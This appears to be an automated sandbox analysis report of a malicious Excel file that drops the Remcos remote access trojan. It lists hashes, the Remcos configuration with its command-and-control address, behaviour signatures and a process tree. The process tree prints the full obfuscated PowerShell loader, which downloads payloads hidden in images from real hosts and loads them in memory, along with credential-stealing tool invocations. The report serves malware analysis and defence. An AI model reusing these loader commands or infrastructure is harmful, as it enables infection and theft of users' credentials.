Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    26-03-2024 06:54

General

  • Target

    1.xls

  • Size

    49KB

  • MD5

    1620224d6efdc7d009b64899a6a67626

  • SHA1

    aa99049bcb8caaac23c7c3a9488b47435ce524ec

  • SHA256

    d1836e6e0661938656d0d8883daa624f59b4a0885cd663be712bfa88a5ccea19

  • SHA512

    88720b9050af39543b21ca51f4771b7b9afecbc7db697fb0116208d2ea18ea290d6b6304ced66d8d602b07cf13664fd4715b0816bd0d93a352c69a275d6600a5

  • SSDEEP

    768:fXyBP0IZ3ovboGfJlETRro0LPpeTQMjpHJDQ/QxLEC65:fX68OPwUTRrnp2hjFJDREC

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

107.172.31.178:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-NVSJ5U

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 10 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Abuses OpenXML format to download file from external location
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1804
  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1776
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\pixelcreatedforkissinglove.vbs"
        2⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1344
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreMDgTreDgTrevDgTreDDgTreDgTreNDgTreDgTrezDgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre3DgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTre2DgTreDDgTreDgTreLwDgTrewDgTreDQDgTreNDgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre4DgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwB0DgTreHgDgTredDgTreDgTreuDgTreEMDgTreTQBSDgTreEsDgTreLwBtDgTreHIDgTreawDgTrevDgTreHDgTreDgTrecDgTreBtDgTreGEDgTreeDgTreDgTrevDgTreDYDgTreMQDgTreyDgTreC4DgTreMwDgTrexDgTreDEDgTreLgDgTre1DgTreDcDgTreMQDgTreuDgTreDcDgTreMDgTreDgTrexDgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBLDgTreFIDgTreTQBDDgTreCcDgTreLDgTreDgTrenDgTreFIDgTreZQBnDgTreEEDgTrecwBtDgTreCcDgTreLDgTreDgTrenDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:888
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/760/043/full/new_image.jpg?1711287887', 'https://uploaddeimagens.com.br/images/004/760/044/original/new_image.jpg?1711287888'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.CMRK/mrk/ppmax/612.311.571.701//:ptth' , '1' , 'C:\ProgramData\' , 'KRMC','RegAsm',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Adds Run key to start application
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1712
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\KRMC.vbs
              5⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2352
            • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:1576
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\oxayakwrjcpsshgywczqxcvuculhu"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2464
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\zzgqbdhkxkhxcnucontkigqddicinxjr"
                6⤵
                • Accesses Microsoft Outlook accounts
                PID:540
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\bttb"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1492

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      67KB

      MD5

      753df6889fd7410a2e9fe333da83a429

      SHA1

      3c425f16e8267186061dd48ac1c77c122962456e

      SHA256

      b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

      SHA512

      9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

      Filesize

      1KB

      MD5

      a266bb7dcc38a562631361bbf61dd11b

      SHA1

      3b1efd3a66ea28b16697394703a72ca340a05bd5

      SHA256

      df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

      SHA512

      0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      82b12be830c8889a1da98da2248e9954

      SHA1

      768aea4ffb73271db587b1c0ec7a5a881d811e9d

      SHA256

      90160c339093ed3f7a1858bd2a346ecac8c1797f0a9ed04b54f07e64ba672cb4

      SHA512

      dfbb0ff74e9078cbcf73742433bff483fda754dd5d88f210bc1b305ecbd28400c961baa21392d96e24b8aec9b94b676cd7764568336b37ee8db9903acf65f98e

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      c2c94afdbcc79d54e682a44dc793457f

      SHA1

      01454478ce3043ed7a203565c9043164f87165e4

      SHA256

      236512f79efd019a3cf6b8da665a7e59e41ad66d7d8dc949d6433275fb0a24fe

      SHA512

      21e1c2cb413a05f7ee01732131f8cb1d5891fd741f182a731836ce497324cc81ec8a52c3efc6c7f4ec31935d3d81a2d356724c45f15e7e65d214414975e38261

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

      Filesize

      242B

      MD5

      d98dc6ea73e7dcdb4f33162204bfe17b

      SHA1

      00033f392fcf1efbf1a2cefb6158d5b275226455

      SHA256

      cc3663a39e621cdf691a896390480a431e9ee4bf8eda697755f61d2942f7576b

      SHA512

      d111de1198403bd98c97b68bcf14e066c09c374a3f197270c6da1c36c9970702014c35c0f7ba1402289eeb75ff903230ea9977064bb3c3941d108f9e3297e8f0

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{B9004C85-41C1-42EA-A176-BCF3F4CF9967}.FSD

      Filesize

      128KB

      MD5

      639f640cbffe1858ee90b96da007f293

      SHA1

      8261e999c3a54109f560d328dd8726f48d178b98

      SHA256

      ab0d83b413627e89611d1e405e8e33c544da29477f699f634a57c2d475b82f5c

      SHA512

      3d0ed6d1152d865161d86c4294362778cdb4f36ff7d55cfe5f8c0aa090996cbba45dcca5c213dbb3d0439ea900ed4a5f1e5bf7bdca9da8b4cee4d4c95aea49ae

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

      Filesize

      128KB

      MD5

      e2aedc5cd45699ec82a22621929d15f6

      SHA1

      3672d01adab7e3395825beb1b7144f7110ace6b1

      SHA256

      013605a0a1791ba0e753ca4ecde39742274b251bb04a1f2cf5e55fe0a64b942d

      SHA512

      decd0b1379424691b8969df00c9547df129c68db265c27abb82890145452c49ef717ee02bcdc975ed942ea39e276df3adc457d8144ac78e0fef582175a7ebb0c

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{AB272587-B33A-4B90-AE76-21E4DFB060B9}.FSD

      Filesize

      128KB

      MD5

      667ffbc74e1697624926e5f3360c70df

      SHA1

      4baead7c00107cef5d619a58b9928090cd2f1143

      SHA256

      d1e6ca92eeb4674b6961109543429b09d59aeaf6779f81bd35950e0e17d82c9a

      SHA512

      7492d3ae6e8370eefa2e8076b26b77f5a02e5f0e9ee8b5a8f9fce5eaea58b75f4deb7f35d37f480c4b9c0eacadf0ed7a0f45cd46b923bc2aca73f2573661c5ec

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\heisagirlwholovedmealotwithoutanyexptationssheisreallyagoodgirlshemybabydear_____itrulylovedherfromthehearbecauseverycutebayb[1].doc

      Filesize

      72KB

      MD5

      1b64a140f23bd235c3c482429cb05065

      SHA1

      141c5ad46db205b08032c22292bef782007fa771

      SHA256

      87394948b0df5b356230dcef42c97b38b2cfa29df166f9cc820b0ff440f491f2

      SHA512

      c9a3cfa93b6edf9644e8eeb2b8f17a6be704d9256c922e3a558e71d82ed752ed3eb9eda4a5739d60712af891929b989a2600151e3ba1e7cde7eaac74cc891b30

    • C:\Users\Admin\AppData\Local\Temp\CabAF33.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\TarB665.tmp

      Filesize

      171KB

      MD5

      9c0c641c06238516f27941aa1166d427

      SHA1

      64cd549fb8cf014fcd9312aa7a5b023847b6c977

      SHA256

      4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

      SHA512

      936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

    • C:\Users\Admin\AppData\Local\Temp\TarB764.tmp

      Filesize

      175KB

      MD5

      dd73cead4b93366cf3465c8cd32e2796

      SHA1

      74546226dfe9ceb8184651e920d1dbfb432b314e

      SHA256

      a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

      SHA512

      ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

    • C:\Users\Admin\AppData\Local\Temp\oxayakwrjcpsshgywczqxcvuculhu

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

